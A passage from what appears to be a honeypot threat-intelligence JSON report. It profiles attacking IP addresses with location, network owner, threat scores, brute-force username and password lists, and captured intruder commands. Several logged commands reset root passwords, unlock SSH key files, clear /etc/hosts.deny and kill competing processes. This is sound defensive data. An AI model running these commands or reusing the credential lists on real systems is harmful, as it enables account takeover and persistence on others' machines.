        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Operador123!\\nWNFcqJEC4Dc5\\nWNFcqJEC4Dc5\\n\"|passwd",
        "echo \"Sav123!\\nnoHLOMZJTuq2\\nnoHLOMZJTuq2\\n\"|passwd",
        "echo -e \"Operador123!\\nWNFcqJEC4Dc5\\nWNFcqJEC4Dc5\"|passwd|bash",
        "echo -e \"Sav123!\\nnoHLOMZJTuq2\\nnoHLOMZJTuq2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 354,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T02:45:17.253000+00:00",
        "last_seen_30d": "2026-03-20T21:10:42.267000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 278,
        "Suricata": 76
      }
    },
    "80.102.218.187": {
      "attack_count": 259,
      "first_seen": "2026-03-31T07:21:10.714Z",
      "last_seen": "2026-03-31T08:02:43.311Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$#@!ergean*(",
        "123#qwer",
        "1234Qwer",
        "4rfv%TGB6yhn",
        "NB1234567",
        "hengbing520",
        "ruijie@123",
        "saqy0901gd",
        "shanghaiwusheng",
        "user123456",
        "wanzhonggame"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VHiVlScYfm2c\"|chpasswd|bash",
        "echo \"root:gEkcnwvXCGt9\"|chpasswd|bash",
        "echo \"root:nGrVDYSCOM1i\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Benamocarra",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:21:10.714000+00:00",
        "last_seen_30d": "2026-03-31T08:03:50.265000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 42
      }
    },
    "50.35.168.148": {
      "attack_count": 242,
      "first_seen": "2026-03-16T18:50:06.431Z",
      "last_seen": "2026-03-16T19:16:42.809Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kusanagi",
        "pyramid",
        "ttt",
        "dheeraj",
        "mc",
        "user123",
        "ys",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "dheeraj123",
        "kusanagipass",
        "mc@123",
        "password",
        "pyramid123",
        "ys1234",
        "zhao1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nGQcNdmuSIbTD\\nGQcNdmuSIbTD\\n\"|passwd",
        "echo \"kusanagipass\\nEbM9iQ1XX3Ig\\nEbM9iQ1XX3Ig\\n\"|passwd",
        "echo \"pyramid123\\nQRS2h0uyZLgE\\nQRS2h0uyZLgE\\n\"|passwd",
        "echo -e \"12345\\nGQcNdmuSIbTD\\nGQcNdmuSIbTD\"|passwd|bash",
        "echo -e \"kusanagipass\\nEbM9iQ1XX3Ig\\nEbM9iQ1XX3Ig\"|passwd|bash",
        "echo -e \"pyramid123\\nQRS2h0uyZLgE\\nQRS2h0uyZLgE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kennewick",
      "asn": 20055,
      "as_org": "Wholesail networks LLC",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 273,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:50:06.431000+00:00",
        "last_seen_30d": "2026-03-16T19:17:50.173000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 31
      }
    },
    "89.152.179.132": {
      "attack_count": 230,
      "first_seen": "2026-03-26T07:56:08.261Z",
      "last_seen": "2026-03-26T08:07:34.850Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ROOTUSER",
        "ovirt",
        "christine",
        "orchestrator",
        "questdb"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "CHANGEME123",
        "admin",
        "christine",
        "ovirt",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"CHANGEME123\\nqldF2f6Xq9si\\nqldF2f6Xq9si\\n\"|passwd",
        "echo \"christine\\n699oBKbUVDSZ\\n699oBKbUVDSZ\\n\"|passwd",
        "echo \"ovirt\\nHyYXvItvz4Y2\\nHyYXvItvz4Y2\\n\"|passwd",
        "echo -e \"CHANGEME123\\nqldF2f6Xq9si\\nqldF2f6Xq9si\"|passwd|bash",
        "echo -e \"christine\\n699oBKbUVDSZ\\n699oBKbUVDSZ\"|passwd|bash",
        "echo -e \"ovirt\\nHyYXvItvz4Y2\\nHyYXvItvz4Y2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Matosinhos Municipality",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:56:08.261000+00:00",
        "last_seen_30d": "2026-03-26T08:17:30.367000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 230,
        "Suricata": 27
      }
    },
    "147.45.69.167": {
      "attack_count": 210,
      "first_seen": "2026-03-17T21:34:06.165Z",
      "last_seen": "2026-03-17T22:28:11.685Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "postgres",
        "www",
        "default",
        "docker",
        "elasticsearch",
        "elsearch",
        "esroot",
        "flask",
        "ftp",
        "git",
        "gitlab",
        "guest",
        "mongo",
        "oscar",
        "ranger",
        "sonar",
        "svnuser",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "123321",
        "12345678",
        "1Q2W3E4R",
        "1Q2w3e4r",
        "1qaz@WSX",
        "AA123456",
        "Password",
        "QWERTY123",
        "Qwerty",
        "aB123456",
        "admin",
        "docker",
        "esroot",
        "flask",
        "ftp123",
        "oracle"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 210644,
      "as_org": "Aeza Group LLC",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:34:06.165000+00:00",
        "last_seen_30d": "2026-03-17T22:29:17.839000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 210,
        "Suricata": 92
      }
    },
    "94.180.223.124": {
      "attack_count": 189,
      "first_seen": "2026-03-08T16:32:50.627Z",
      "last_seen": "2026-03-09T15:58:05.641Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "rahul",
        "root",
        "appuser",
        "ashish",
        "chrism",
        "db2inst1",
        "deamon_root",
        "eddy",
        "reolink",
        "scanner"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "Ss123321..",
        "db2inst1",
        "deamon_rootpass",
        "password",
        "rahul123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"rahul123!\\nu879DTNLg2SE\\nu879DTNLg2SE\\n\"|passwd",
        "echo \"root:Zy1SMfdOVvTJ\"|chpasswd|bash",
        "echo -e \"rahul123!\\nu879DTNLg2SE\\nu879DTNLg2SE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kazan'",
      "asn": 41668,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:32:50.627000+00:00",
        "last_seen_30d": "2026-03-09T16:08:10.766000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 189,
        "Suricata": 34
      }
    },
    "104.236.106.85": {
      "attack_count": 188,
      "first_seen": "2026-03-03T20:05:03.549Z",
      "last_seen": "2026-03-03T20:26:43.674Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "111111",
        "123123",
        "12345",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "password",
        "password1",
        "qwerty",
        "000000",
        "123",
        "1234",
        "1q2w3e4r",
        "654321",
        "Admin123",
        "admin123",
        "passw0rd",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:04:58.941000+00:00",
        "last_seen_30d": "2026-03-03T20:27:52.447000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 76
      }
    },
    "201.71.192.108": {
      "attack_count": 188,
      "first_seen": "2026-03-15T10:40:09.638Z",
      "last_seen": "2026-03-15T11:04:01.499Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erwin",
        "rico",
        "administrator",
        "music",
        "ray",
        "root",
        "sami",
        "tms",
        "user1",
        "yasin"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Administrator123",
        "Rico123!",
        "asdf",
        "erwinpass",
        "ray",
        "tms",
        "user1",
        "yasin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Rico123!\\nCDvtXQmlPATu\\nCDvtXQmlPATu\\n\"|passwd",
        "echo \"erwinpass\\nm3n2YUDmnEXk\\nm3n2YUDmnEXk\\n\"|passwd",
        "echo -e \"Rico123!\\nCDvtXQmlPATu\\nCDvtXQmlPATu\"|passwd|bash",
        "echo -e \"erwinpass\\nm3n2YUDmnEXk\\nm3n2YUDmnEXk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jovi\u00e2nia",
      "asn": 270292,
      "as_org": "CONECTTE TELECOM LTDA",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:40:09.638000+00:00",
        "last_seen_30d": "2026-03-15T11:05:05.923000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "103.153.190.105": {
      "attack_count": 187,
      "first_seen": "2026-03-08T07:55:34.534Z",
      "last_seen": "2026-03-08T08:32:03.942Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gitlab-runner",
        "andres",
        "cy",
        "gw",
        "sammy",
        "student1",
        "sysop",
        "trading"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "1qaz@WSX3edc",
        "Cy123",
        "Sysop123!",
        "Teste123",
        "gitlab-runner123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"gitlab-runner123\\n5KOERWgaMikS\\n5KOERWgaMikS\\n\"|passwd",
        "echo \"root:nY2cRioxfvJ2\"|chpasswd|bash",
        "echo -e \"gitlab-runner123\\n5KOERWgaMikS\\n5KOERWgaMikS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jember",
      "asn": 140469,
      "as_org": "PT Wahyu Adidaya Network",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:55:34.534000+00:00",
        "last_seen_30d": "2026-03-08T08:33:08.056000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 35
      }
    },
    "139.59.78.252": {
      "attack_count": 187,
      "first_seen": "2026-03-05T10:33:09.086Z",
      "last_seen": "2026-03-05T10:59:44.852Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "345gs5662d34",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aA@",
        "2024",
        "A1234567899876543210A",
        "Admin@1234",
        "Qq@123456",
        "aa123456!@#",
        "aa@147258",
        "aaa123456",
        "secret2024",
        "ubuntu2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin@1234\\nzeXjO46TLBE8\\nzeXjO46TLBE8\\n\"|passwd",
        "echo \"root:vUDjxWSUwB9N\"|chpasswd|bash",
        "echo -e \"Admin@1234\\nzeXjO46TLBE8\\nzeXjO46TLBE8\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:33:09.086000+00:00",
        "last_seen_30d": "2026-03-05T11:00:52.915000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "45.164.39.253": {
      "attack_count": 168,
      "first_seen": "2026-03-31T04:25:14.784Z",
      "last_seen": "2026-03-31T05:51:06.831Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$%^QWERTY",
        "10qpalzm",
        "123456jh",
        "123aBc",
        "1a2s3d!@#",
        "1qaz2wsx,",
        "3245gs5662d34",
        "345gs5662d34",
        "963852741",
        "P@ssw0rd.!",
        "Password01#",
        "Quake3arena",
        "Test@123",
        "Tn123456",
        "Yx123456789",
        "Zhu12345",
        "albatros",
        "idc@123456",
        "jiangtao",
        "long123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:N8mbvPHVSq07\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Foz do Igua\u00e7u",
      "asn": 268622,
      "as_org": "OLIVEIRA TELECOM",
      "threat_score": 60.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.5,
        "persistence": 23.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 28,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T13:09:43.903000+00:00",
        "last_seen_30d": "2026-03-31T05:52:16.443000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 58
      }
    },
    "70.54.182.130": {
      "attack_count": 163,
      "first_seen": "2026-03-26T11:21:46.773Z",
      "last_seen": "2026-03-26T11:37:55.973Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "escaner",
        "prueba",
        "api",
        "chenghao",
        "lzy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Api123",
        "Chenghao123!",
        "Escaner123",
        "Prueba123",
        "lzypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Escaner123\\nCudhzoRXPPDS\\nCudhzoRXPPDS\\n\"|passwd",
        "echo \"Prueba123\\ncjioCzVwdxT6\\ncjioCzVwdxT6\\n\"|passwd",
        "echo -e \"Escaner123\\nCudhzoRXPPDS\\nCudhzoRXPPDS\"|passwd|bash",
        "echo -e \"Prueba123\\ncjioCzVwdxT6\\ncjioCzVwdxT6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T11:21:46.773000+00:00",
        "last_seen_30d": "2026-03-26T11:39:03.989000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 21
      }
    },
    "51.91.11.31": {
      "attack_count": 137,
      "first_seen": "2026-03-26T14:20:12.090Z",
      "last_seen": "2026-03-26T16:48:57.556Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cruise",
        "teamcity",
        "aman",
        "ambassador",
        "andy",
        "bookstack",
        "esuser",
        "reza",
        "signoz",
        "temp1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "admin",
        "aman123!",
        "ambassador",
        "cruise",
        "esuser123!",
